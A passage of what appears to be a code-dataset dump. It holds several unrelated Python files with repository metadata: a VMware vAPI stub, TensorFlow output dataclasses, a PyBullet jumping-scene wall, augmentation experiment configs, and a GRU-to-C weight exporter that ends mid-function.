update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/adapter/scsi/{adapter}',
path_variables={
'vm': 'vm',
'adapter': 'adapter',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ScsiAdapter'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/adapter/scsi/{adapter}',
path_variables={
'vm': 'vm',
'adapter': 'adapter',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Scsi.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Scsi.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ScsiAdapter'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.adapter.scsi',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class StubFactory(StubFactoryBase):
_attrs = {
'Sata': Sata,
'Scsi': Scsi,
}
| 42.741091 | 104 | 0.593953 | 6,278 | 58,769 | 5.41972 | 0.05575 | 0.068244 | 0.083292 | 0.102513 | 0.927024 | 0.917678 | 0.905246 | 0.887524 | 0.871947 | 0.861954 | 0 | 0.00022 | 0.305365 | 58,769 | 1,374 | 105 | 42.772198 | 0.833256 | 0.379605 | 0 | 0.74212 | 1 | 0 | 0.31093 | 0.240003 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032951 | false | 0 | 0.017192 | 0 | 0.091691 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c53af1879e321c16a92bd7885a8ca0fb7f6a997c | 4,475 | py | Python | utils/output.py | ChristianLin0420/Simulating-Brain-signal-to-control-Hand-Movement-using-GPT2 | cb2e441a81f947ba17bb921f4b374953ecf6818c | [
"MIT"
] | null | null | null | utils/output.py | ChristianLin0420/Simulating-Brain-signal-to-control-Hand-Movement-using-GPT2 | cb2e441a81f947ba17bb921f4b374953ecf6818c | [
"MIT"
] | null | null | null | utils/output.py | ChristianLin0420/Simulating-Brain-signal-to-control-Hand-Movement-using-GPT2 | cb2e441a81f947ba17bb921f4b374953ecf6818c | [
"MIT"
] | null | null | null |
import tensorflow as tf
from dataclasses import dataclass
from typing import List, Optional, Tuple
from .file_utils import ModelOutput
@dataclass
class TFBaseModelOutputWithPast(ModelOutput):
"""
Base class for model's outputs that may also contain a past key/values (to speed up sequential decoding).
Args:
last_hidden_state (:obj:`tf.Tensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
If :obj:`past_key_values` is used only the last hidden-state of the sequences of shape :obj:`(batch_size,
1, hidden_size)` is output.
past_key_values (:obj:`List[tf.Tensor]`, `optional`, returned when ``use_cache=True`` is passed or when ``config.use_cache=True``):
List of :obj:`tf.Tensor` of length :obj:`config.n_layers`, with each tensor of shape :obj:`(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) that can be used (see
:obj:`past_key_values` input) to speed up sequential decoding.
hidden_states (:obj:`tuple(tf.Tensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of
shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(tf.Tensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`tf.Tensor` (one for each layer) of shape :obj:`(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
last_hidden_state: tf.Tensor = None
past_key_values: Optional[List[tf.Tensor]] = None
hidden_states: Optional[Tuple[tf.Tensor]] = None
attentions: Optional[Tuple[tf.Tensor]] = None
@dataclass
class TFCausalLMOutputWithPast(ModelOutput):
"""
Base class for causal language model (or autoregressive) outputs.
Args:
loss (:obj:`tf.Tensor` of shape :obj:`(n,)`, `optional`, where n is the number of non-masked labels, returned when :obj:`labels` is provided):
Language modeling loss (for next-token prediction).
logits (:obj:`tf.Tensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
past_key_values (:obj:`List[tf.Tensor]`, `optional`, returned when ``use_cache=True`` is passed or when ``config.use_cache=True``):
List of :obj:`tf.Tensor` of length :obj:`config.n_layers`, with each tensor of shape :obj:`(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) that can be used (see
:obj:`past_key_values` input) to speed up sequential decoding.
hidden_states (:obj:`tuple(tf.Tensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of
shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(tf.Tensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`tf.Tensor` (one for each layer) of shape :obj:`(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[tf.Tensor] = None
logits: tf.Tensor = None
past_key_values: Optional[List[tf.Tensor]] = None
hidden_states: Optional[Tuple[tf.Tensor]] = None
attentions: Optional[Tuple[tf.Tensor]] = None
| 57.371795 | 160 | 0.688268 | 623 | 4,475 | 4.823435 | 0.192616 | 0.063894 | 0.033278 | 0.034942 | 0.750416 | 0.735108 | 0.72812 | 0.72812 | 0.72812 | 0.724792 | 0 | 0.000847 | 0.208268 | 4,475 | 77 | 161 | 58.116883 | 0.847305 | 0.806034 | 0 | 0.470588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.235294 | 0 | 0.882353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
c5423430587a02186f0b2097dd9b0b2f11f57519 | 7,569 | py | Python | env/jumper/wall.py | arpspoof/Jump | 1c9c1bd5c499e24bab25eb7decaa772b60798794 | [
"MIT"
] | 46 | 2021-04-25T03:36:47.000Z | 2022-01-19T00:23:59.000Z | env/jumper/wall.py | squalidux/Jump | 1c9c1bd5c499e24bab25eb7decaa772b60798794 | [
"MIT"
] | 4 | 2021-05-25T10:04:11.000Z | 2022-02-22T01:54:00.000Z | env/jumper/wall.py | squalidux/Jump | 1c9c1bd5c499e24bab25eb7decaa772b60798794 | [
"MIT"
] | 8 | 2021-04-25T03:05:35.000Z | 2021-07-05T19:58:01.000Z | from sim import SceneObject
from ur import URObject
from utils.quaternion import Quaternion
import numpy as np
class Wall(SceneObject, URObject):
def __init__(self, wallAngle=0, wallDistance=0, height=0.5, vis_offset=0):
self.__wallAngle = wallAngle
self.__wallDistance = wallDistance
self.__height = height
self.__vis_offset = vis_offset
def initialize(self):
self.object_id = self.sim_client.loadURDF("data/urdf/jumper/wall.urdf",
basePosition=self.__basePos, baseOrientation=self.__baseOri,
useMaximalCoordinates=True, useFixedBase=True)
def pre_step(self):
pass
@property
def __basePos(self):
angle = self.__wallAngle / 180 * np.pi
return [self.wallDistance * np.sin(angle), self.__height - 5, -self.wallDistance * np.cos(angle)]
@property
def __baseOri(self):
return list(self.sim_client.getQuaternionFromEuler([0, -self.__wallAngle / 180 * np.pi, 0]))
def __update(self):
self.sim_client.resetBasePositionAndOrientation(self.object_id, self.__basePos, self.__baseOri)
@property
def wallAngleDeg(self):
return self.__wallAngle
@wallAngleDeg.setter
def wallAngleDeg(self, value):
self.__wallAngle = value
self.__update()
@property
def wallDistance(self):
return self.__wallDistance
@wallDistance.setter
def wallDistance(self, value):
self.__wallDistance = value
self.__update()
@property
def height(self):
return self.__height
@height.setter
def height(self, value):
self.__height = value
self.__update()
@property
def link_names(self):
return ["l-bar(shadow)", "r-bar(shadow)", "t-bar(shadow)"]
@property
def link_shapes(self):
return ["box", "box", "capsule"]
@property
def link_sizes(self):
return [[0.1, 5, 0.1], [0.1, 5, 0.1], [0.02, 6, 0.02]]
def get_link_states(self):
angle = self.__wallAngle / 180 * np.pi
offset = np.array([np.cos(angle), 0, np.sin(angle)])
l_bar_pos = np.array(self.__basePos) - offset*(3.0 - self.__vis_offset); l_bar_pos[1] = 0
r_bar_pos = np.array(self.__basePos) + offset*(3.0 + self.__vis_offset); r_bar_pos[1] = 0
t_bar_quat = Quaternion.fromXYZW(self.__baseOri).mul(Quaternion.fromAngleAxis(np.pi/2, np.array([0,0,1])))
t_bar_pos = np.array(self.__basePos) + offset*self.__vis_offset; t_bar_pos[1] = self.height - 0.02
return [
l_bar_pos.tolist() + self.__baseOri,
r_bar_pos.tolist() + self.__baseOri,
t_bar_pos.tolist() + t_bar_quat.xyzw().tolist()
]
def point_to_plane_distance(self, pos):
angle = self.__wallAngle / 180 * np.pi
return np.sin(angle)*pos[0] - np.cos(angle)*pos[2] - self.wallDistance
class BarStock(SceneObject, URObject):
def __init__(self, wallAngle=0, wallDistance=0, height=0.5, vis_offset=0):
self.__wallAngle = wallAngle
self.__wallDistance = wallDistance
self.__height = height
self.__vis_offset = vis_offset
def initialize(self):
angle =self.__wallAngle * np.pi/180
offset_dist = self.__wallDistance - 0.05
pos = np.array([offset_dist * np.sin(angle), self.__height - 3.075, -offset_dist * np.cos(angle)])
pos[0] += self.__vis_offset*np.cos(angle)
pos[2] += self.__vis_offset*np.sin(angle)
self.pos = pos.copy()
pos_stick1 = pos.copy()
pos_stick1[0] -= 2*np.cos(angle)
pos_stick1[2] -= 2*np.sin(angle)
pos_stick2 = pos.copy()
pos_stick2[0] += 2*np.cos(angle)
pos_stick2[2] += 2*np.sin(angle)
pos_bar = pos
pos_bar[1] = self.__height - 0.025
pos_bar[0] += 0.05*np.sin(angle)
pos_bar[2] -= 0.05*np.cos(angle)
rot_stick = [0,np.sin(np.pi/4 - angle/2), 0, np.cos(np.pi/4 - angle/2)]
self.stick1 = self.sim_client.loadURDF("data/urdf/jumper/bracket.urdf", basePosition= pos_stick1.tolist(), baseOrientation=rot_stick,useMaximalCoordinates=True, useFixedBase=True)
self.stick2 = self.sim_client.loadURDF("data/urdf/jumper/bracket.urdf", basePosition= pos_stick2.tolist(), baseOrientation= rot_stick,useMaximalCoordinates=True, useFixedBase=True)
self.object_id = self.sim_client.loadURDF("data/urdf/jumper/bar.urdf", basePosition= pos_bar, baseOrientation=rot_stick,useMaximalCoordinates=True)
def reset_bar(self):
angle =self.__wallAngle * np.pi/180
offset_dist = self.__wallDistance - 0.05
pos = np.array([offset_dist * np.sin(angle), self.__height - 3.075, -offset_dist * np.cos(angle)])
pos[0] += self.__vis_offset*np.cos(angle)
pos[2] += self.__vis_offset*np.sin(angle)
self.pos = pos.copy()
pos_stick1 = pos.copy()
pos_stick1[0] -= 2*np.cos(angle)
pos_stick1[2] -= 2*np.sin(angle)
pos_stick2 = pos.copy()
pos_stick2[0] += 2*np.cos(angle)
pos_stick2[2] += 2*np.sin(angle)
pos_bar = pos
pos_bar[1] = self.__height - 0.025
pos_bar[0] += 0.05*np.sin(angle)
pos_bar[2] -= 0.05*np.cos(angle)
rot_stick = [0,np.sin(np.pi/4 - angle/2), 0, np.cos(np.pi/4 - angle/2)]
self.sim_client.resetBasePositionAndOrientation(bodyUniqueId=self.object_id,
posObj=pos_bar, ornObj=rot_stick)
def pre_step(self):
pass
@property
def __basePos(self):
angle = self.__wallAngle / 180 * np.pi
return self.pos.tolist()
@property
def __baseOri(self):
return list(self.sim_client.getQuaternionFromEuler([0, np.pi/2-self.__wallAngle / 180 * np.pi, 0]))
def __update(self):
# self.sim_client.resetBasePositionAndOrientation(self.object_id, self.__basePos, self.__baseOri)
pass
@property
def wallAngleDeg(self):
return self.__wallAngle
@wallAngleDeg.setter
def wallAngleDeg(self, value):
self.__wallAngle = value
self.__update()
@property
def wallDistance(self):
return self.__wallDistance
@wallDistance.setter
def wallDistance(self, value):
self.__wallDistance = value
self.__update()
@property
def height(self):
return self.__height
@height.setter
def height(self, value):
self.__height = value
self.__update()
@property
def link_names(self):
return ["l-bar(shadow)", "r-bar(shadow)", "t-bar(shadow)"]
@property
def link_shapes(self):
return ["box", "box", "capsule"]
@property
def link_sizes(self):
return [[0.05, 7, 0.05], [0.05, 7, 0.05], [0.02, 4, 0.02]]
def get_link_states(self):
pos_stick1, rot_stick1 = self.sim_client.getBasePositionAndOrientation(self.stick1)
pos_stick2, rot_stick2 = self.sim_client.getBasePositionAndOrientation(self.stick2)
pos_bar, rot_bar = self.sim_client.getBasePositionAndOrientation(self.object_id)
rot_bar = Quaternion.fromXYZW(rot_bar).mul(Quaternion.fromXYZW([np.sin(np.pi/4),0,0, np.cos(np.pi/4)]))
return [
pos_stick1+rot_stick1,
pos_stick2+rot_stick2,
np.array(pos_bar).tolist()+rot_bar.xyzw().tolist(),
]
def point_to_plane_distance(self, pos):
angle = self.__wallAngle / 180 * np.pi
return np.sin(angle)*pos[0] - np.cos(angle)*pos[2] - self.wallDistance | 34.880184 | 188 | 0.632052 | 1,002 | 7,569 | 4.510978 | 0.102794 | 0.031858 | 0.030973 | 0.028761 | 0.831416 | 0.762832 | 0.755089 | 0.732743 | 0.732743 | 0.700885 | 0 | 0.035325 | 0.237019 | 7,569 | 217 | 189 | 34.880184 | 0.747359 | 0.012551 | 0 | 0.77193 | 0 | 0 | 0.028503 | 0.014586 | 0 | 0 | 0 | 0 | 0 | 1 | 0.204678 | false | 0.017544 | 0.023392 | 0.081871 | 0.356725 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c5432848fb1627d004e06e7f6efe41151b322bc7 | 6,163 | py | Python | exp_configs.py | ElementAI/bilevel_augment | b43997d41d8452d362450e267503c8be18f1be4a | [
"Apache-2.0"
] | 22 | 2020-07-21T13:50:35.000Z | 2022-03-17T02:39:45.000Z | exp_configs.py | ElementAI/bilevel_augment | b43997d41d8452d362450e267503c8be18f1be4a | [
"Apache-2.0"
] | 1 | 2021-12-14T09:17:49.000Z | 2021-12-14T09:17:49.000Z | exp_configs.py | ElementAI/bilevel_augment | b43997d41d8452d362450e267503c8be18f1be4a | [
"Apache-2.0"
] | 5 | 2020-08-02T08:26:43.000Z | 2021-08-15T01:41:27.000Z |
from haven import haven_utils as hu
from itertools import product
EXP_GROUPS = {}
# This EXP Groups 94.5% acc on cifar10
EXP_GROUPS['cifar'] = hu.cartesian_exp_group({
"dataset": [{'name': 'cifar10', 'transform_lvl':1.5, 'colorjitter': False, 'val_transform':'identity'}],
"dataset_size": [
{'train':None, 'test':None}
],
"valratio": [0.2],
'model':
[{'name':'blvl',
'netC':{"name": "resnet18_meta_2",
"opt":{'name':'sgd', 'momentum':0.9,
'sched':True,
'lr':0.1,
"weight_decay": 5e-4}},
'netA':netA
} for netA in [{"name": 'small_affine',
"opt":{'name':'sgd',
'lr':0.2,
'sched':False,
'momentum':0.9,
"weight_decay": 0.01},
"transform" : "affine",
"factor": 1},
{"name": 'affine_color',
"opt":{'name':'sgd',
'lr':0.2,
'sched':False,
'momentum':0.9,
"weight_decay": 0.01},
"transform" : "affine",
"factor": 1},
None]
],
"n_inner_iter": [1],
"batch": {"size": 128, "factor": 1},
"niter": [201],
"fixedSeed": [6442],
"predParams": [None],
"mixTrainVal": [True],
"testTimeDA": [0],
})
EXP_GROUPS['bach'] = hu.cartesian_exp_group({
"dataset":
{'name': 'bach',
'transform_lvl': 0,
'colorjitter': False,
'val_transform':'identity',
'fold': 4,
'patch_size':'512'
},
"dataset_size": [
{'train': None, 'test': None}],
"valratio": [0.2],
'model': [{'name':'blvl',
'netC':{"name": "resnet18_meta",
"opt":{'name':'sgd', 'momentum':0.9,
'sched':True,
'lr':0.1,
"weight_decay": 5e-4}},
'netA':netA
} for netA in [None,
{"name": 'small_affine',
"opt":{'name':'sgd',
'lr':0.2,
'sched':False,
'momentum':0.9,
"weight_decay": 0.01},
"transform" : "affine",
"factor": 1},
{"name": 'affine_color',
"opt":{'name':'sgd',
'lr':0.2,
'sched':False,
'momentum':0.9,
"weight_decay": 0.01},
"transform" : "affine",
"factor": 1},
]
],
"n_inner_iter": [1],
"batch": {"size": 16, "factor": 1},
"niter": [40],
"fixedSeed": [6442],
"predParams": [None],
"mixTrainVal": [True],
"testTimeDA": [0],
})
EXP_GROUPS['imagenet'] = hu.cartesian_exp_group({
"dataset": [
{'name': 'imagenet', 'transform_lvl':2, 'colorjitter': False, 'val_transform':'identity'},
],
"dataset_size": [{'train':None, 'test':None}],
"valratio": [0.2],
'model': [
{'name':'blvl',
'netC':{"name": "resnet50_meta",
"pretrained": False,
"RNDepth": 28,
"RNWidth": 10, "RNDO": 0.3,
"opt":{'name':'sgd', 'momentum':0.9,
'sched':True,
'lr':0.1,
"weight_decay": 1e-4}},
'netA':{"name": 'small_affine',
"opt":{'name':'sgd',
'lr':0.1,
'sched':False,
'momentum':0.9,
"weight_decay": 0.1},
"transform" : "affine",
"factor": 1}},
{'name':'blvl',
'netC':{"name": "resnet50_meta",
"pretrained": False,
"RNDepth": 28,
"RNWidth": 10, "RNDO": 0.3,
"opt":{'name':'sgd', 'momentum':0.9,
'sched':True,
'lr':0.1,
"weight_decay": 5e-4}},
'netA':{"name": 'affine_color',
"opt":{'name':'sgd',
'lr':0.1,
'sched':False,
'momentum':0.9,
"weight_decay": 0.1},
"transform" : "affine",
"factor": 1}},
],
"n_inner_iter": [1],
"batch": {"size": 800, "factor": 1},
"niter": [90],
"fixedSeed": [6442],
"mixTrainVal": [True],
"testTimeDA": [0]
}) | 40.81457 | 112 | 0.28882 | 415 | 6,163 | 4.173494 | 0.214458 | 0.040416 | 0.057737 | 0.04157 | 0.82679 | 0.806005 | 0.742494 | 0.742494 | 0.725173 | 0.725173 | 0 | 0.055514 | 0.567418 | 6,163 | 151 | 113 | 40.81457 | 0.594149 | 0.005841 | 0 | 0.702899 | 0 | 0 | 0.214041 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.014493 | 0 | 0.014493 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
3df8d627e6880ab8a2735bf598ba912d7adf7f45 | 16,687 | py | Python | libs/LibsAI/export/ExportGRU.py | michalnand/libs_embedded | 28c7ec9e4e5cd04917a3c88bd11ca2bd915c1818 | [
"MIT"
] | null | null | null | libs/LibsAI/export/ExportGRU.py | michalnand/libs_embedded | 28c7ec9e4e5cd04917a3c88bd11ca2bd915c1818 | [
"MIT"
] | null | null | null | libs/LibsAI/export/ExportGRU.py | michalnand/libs_embedded | 28c7ec9e4e5cd04917a3c88bd11ca2bd915c1818 | [
"MIT"
] | null | null | null | from .Quantizer import *
def _gru_export_weights(w_data_type, layer_id, weights_quant, bias_quant, postfix_name=""):
var_weights = layer_id + "_weights" + postfix_name
var_bias = layer_id + "_bias" + postfix_name
#weights
code_weight = "const " + w_data_type + " " + var_weights + "[] = {" + "\n"
for j in range(weights_quant.shape[0]):
for i in range(weights_quant.shape[1]):
code_weight+= str(weights_quant[j][i]) + ", "
code_weight+= "\n"
code_weight+= "};\n\n"
#bias
code_weight+= "const " + w_data_type + " " + var_bias + "[] = {" + "\n"
for i in range(bias_quant.shape[0]):
code_weight+= str(bias_quant[i]) + ", "
code_weight+= "};\n\n"
return code_weight, var_weights, var_bias
def _gru_add_padding(weights_raw, bias_raw, padding_inputs, padding_outputs):
in_features = weights_raw.shape[1]
out_features = weights_raw.shape[0]
p_out = (padding_outputs - (out_features%padding_outputs))%padding_outputs
p_in = (padding_inputs - (in_features%padding_inputs))%padding_inputs
weights = numpy.zeros((out_features + p_out, in_features + p_in))
weights[0:out_features, 0:in_features] = weights_raw
bias = numpy.zeros((out_features + p_out))
bias[0:out_features] = bias_raw
return weights, bias
def ExportGRU(layer, layer_num, network_prefix, input_shape, quantization_type):
padding_inputs = 4
padding_outputs = 8
w_hr, w_hz, w_hn = layer.weight_hh_l0.chunk(3, 0)
w_ir, w_iz, w_in = layer.weight_ih_l0.chunk(3, 0)
b_hr, b_hz, b_hn = layer.bias_hh_l0.chunk(3)
b_ir, b_iz, b_in = layer.bias_ih_l0.chunk(3)
w_hr = w_hr.to("cpu").detach().numpy()
w_hz = w_hz.to("cpu").detach().numpy()
w_hn = w_hn.to("cpu").detach().numpy()
w_ir = w_ir.to("cpu").detach().numpy()
w_iz = w_iz.to("cpu").detach().numpy()
w_in = w_in.to("cpu").detach().numpy()
b_hr = b_hr.to("cpu").detach().numpy()
b_hz = b_hz.to("cpu").detach().numpy()
b_hn = b_hn.to("cpu").detach().numpy()
b_ir = b_ir.to("cpu").detach().numpy()
b_iz = b_iz.to("cpu").detach().numpy()
b_in = b_in.to("cpu").detach().numpy()
#add padding
w_hr, b_hr = _gru_add_padding(w_hr, b_hr, padding_inputs, padding_outputs)
w_hz, b_hz = _gru_add_padding(w_hz, b_hz, padding_inputs, padding_outputs)
w_hn, b_hn = _gru_add_padding(w_hn, b_hn, padding_inputs, padding_outputs)
w_ir, b_ir = _gru_add_padding(w_ir, b_ir, padding_inputs, padding_outputs)
w_iz, b_iz = _gru_add_padding(w_iz, b_iz, padding_inputs, padding_outputs)
w_in, b_in = _gru_add_padding(w_in, b_in, padding_inputs, padding_outputs)
layer_id = network_prefix + "_" + "layer_" + str(layer_num)
if quantization_type == "int8":
io_data_type = "int8_t"
w_data_type = "int8_t"
acc_data_type = "int32_t"
max_value = 128-1
w_hr_quant, b_hr_quant, hr_scale = Quantizer(w_hr, b_hr, max_value)
w_hz_quant, b_hz_quant, hz_scale = Quantizer(w_hz, b_hz, max_value)
w_hn_quant, b_hn_quant, hn_scale = Quantizer(w_hn, b_hn, max_value)
w_ir_quant, b_ir_quant, ir_scale = Quantizer(w_ir, b_ir, max_value)
w_iz_quant, b_iz_quant, iz_scale = Quantizer(w_iz, b_iz, max_value)
w_in_quant, b_in_quant, in_scale = Quantizer(w_in, b_in, max_value)
w_hr_quant = numpy.round(w_hr_quant, 0).astype(int)
b_hr_quant = numpy.round(b_hr_quant, 0).astype(int)
w_hz_quant = numpy.round(w_hz_quant, 0).astype(int)
b_hz_quant = numpy.round(b_hz_quant, 0).astype(int)
w_hn_quant = numpy.round(w_hn_quant, 0).astype(int)
b_hn_quant = numpy.round(b_hn_quant, 0).astype(int)
w_ir_quant = numpy.round(w_ir_quant, 0).astype(int)
b_ir_quant = numpy.round(b_ir_quant, 0).astype(int)
w_iz_quant = numpy.round(w_iz_quant, 0).astype(int)
b_iz_quant = numpy.round(b_iz_quant, 0).astype(int)
w_in_quant = numpy.round(w_in_quant, 0).astype(int)
b_in_quant = numpy.round(b_in_quant, 0).astype(int)
elif quantization_type == "int16":
io_data_type = "int16_t"
w_data_type = "int16_t"
acc_data_type = "int32_t"
max_value = 128-1
w_hr_quant, b_hr_quant, hr_scale = Quantizer(w_hr, b_hr, max_value)
w_hz_quant, b_hz_quant, hz_scale = Quantizer(w_hz, b_hz, max_value)
w_hn_quant, b_hn_quant, hn_scale = Quantizer(w_hn, b_hn, max_value)
w_ir_quant, b_ir_quant, ir_scale = Quantizer(w_ir, b_ir, max_value)
w_iz_quant, b_iz_quant, iz_scale = Quantizer(w_iz, b_iz, max_value)
w_in_quant, b_in_quant, in_scale = Quantizer(w_in, b_in, max_value)
w_hr_quant = numpy.round(w_hr_quant, 0).astype(int)
b_hr_quant = numpy.round(b_hr_quant, 0).astype(int)
w_hz_quant = numpy.round(w_hz_quant, 0).astype(int)
b_hz_quant = numpy.round(b_hz_quant, 0).astype(int)
w_hn_quant = numpy.round(w_hn_quant, 0).astype(int)
b_hn_quant = numpy.round(b_hn_quant, 0).astype(int)
w_ir_quant = numpy.round(w_ir_quant, 0).astype(int)
b_ir_quant = numpy.round(b_ir_quant, 0).astype(int)
w_iz_quant = numpy.round(w_iz_quant, 0).astype(int)
b_iz_quant = numpy.round(b_iz_quant, 0).astype(int)
w_in_quant = numpy.round(w_in_quant, 0).astype(int)
b_in_quant = numpy.round(b_in_quant, 0).astype(int)
else:
io_data_type = "float"
w_data_type = "float"
acc_data_type = "float"
max_value = 0
hr_scale = 1024
hz_scale = 1024
hn_scale = 1024
ir_scale = 1024
iz_scale = 1024
in_scale = 1024
w_hr_quant, b_hr_quant = w_hr, b_hr
w_hz_quant, b_hz_quant = w_hz, b_hz
w_hn_quant, b_hn_quant = w_hn, b_hn
w_ir_quant, b_ir_quant = w_ir, b_ir
w_iz_quant, b_iz_quant = w_iz, b_iz
w_in_quant, b_in_quant = w_in, b_in
input_size = w_ir_quant.shape[1]
sequence_length = input_shape[1]
output_size = w_ir_quant.shape[0]
'''
print("ExportGRU")
print(input_shape)
print(w_hr_quant.shape, b_hr_quant.shape)
print(w_hz_quant.shape, b_hz_quant.shape)
print(w_hn_quant.shape, b_hn_quant.shape)
print(w_ir_quant.shape, b_ir_quant.shape)
print(w_iz_quant.shape, b_iz_quant.shape)
print(w_in_quant.shape, b_in_quant.shape)
print(input_size, output_size)
print("\n\n\n")
'''
wb_hr_code, var_w_hr, var_b_hr = _gru_export_weights(w_data_type, layer_id, w_hr_quant, b_hr_quant, "_hr")
wb_hz_code, var_w_hz, var_b_hz = _gru_export_weights(w_data_type, layer_id, w_hz_quant, b_hz_quant, "_hz")
wb_hn_code, var_w_hn, var_b_hn = _gru_export_weights(w_data_type, layer_id, w_hn_quant, b_hn_quant, "_hn")
wb_ir_code, var_w_ir, var_b_ir = _gru_export_weights(w_data_type, layer_id, w_ir_quant, b_ir_quant, "_ir")
wb_iz_code, var_w_iz, var_b_iz = _gru_export_weights(w_data_type, layer_id, w_iz_quant, b_iz_quant, "_iz")
wb_in_code, var_w_in, var_b_in = _gru_export_weights(w_data_type, layer_id, w_in_quant, b_in_quant, "_in")
code_weight = wb_hr_code + wb_hz_code + wb_hn_code + wb_ir_code + wb_iz_code + wb_in_code + "\n\n"
code_network = ""
#layer call code
code_network+= "\tGRU<" + str(input_size) + ", " + str(output_size) + ", "
code_network+= io_data_type + ", " + w_data_type + ", " + acc_data_type + ", "
code_network+= str(max_value) + ", "
code_network+= str(hr_scale) + ", "
code_network+= str(hz_scale) + ", "
code_network+= str(hn_scale) + ", "
code_network+= str(ir_scale) + ", "
